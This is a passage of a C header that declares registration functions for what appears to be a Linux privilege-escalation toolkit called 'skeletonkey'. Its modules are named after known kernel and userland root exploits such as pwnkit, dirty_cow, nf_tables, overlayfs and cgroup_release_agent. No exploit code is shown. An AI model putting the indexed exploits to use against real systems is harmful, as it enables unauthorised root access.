void skeletonkey_register_pwnkit(void);
void skeletonkey_register_nf_tables(void);
void skeletonkey_register_overlayfs(void);
void skeletonkey_register_cls_route4(void);
void skeletonkey_register_dirty_cow(void);
void skeletonkey_register_ptrace_traceme(void);
void skeletonkey_register_netfilter_xtcompat(void);
void skeletonkey_register_af_packet(void);
void skeletonkey_register_fuse_legacy(void);
void skeletonkey_register_stackrot(void);
void skeletonkey_register_af_packet2(void);
void skeletonkey_register_cgroup_release_agent(void);
void skeletonkey_register_overlayfs_setuid(void);
void skeletonkey_register_nft_set_uaf(void);
void skeletonkey_register_af_unix_gc(void);
void skeletonkey_register_nft_fwd_dup(void);
void skeletonkey_register_nft_payload(void);
#endif /* IAMROOT_REGISTRY_H */
#endif /* SKELETONKEY_REGISTRY_H */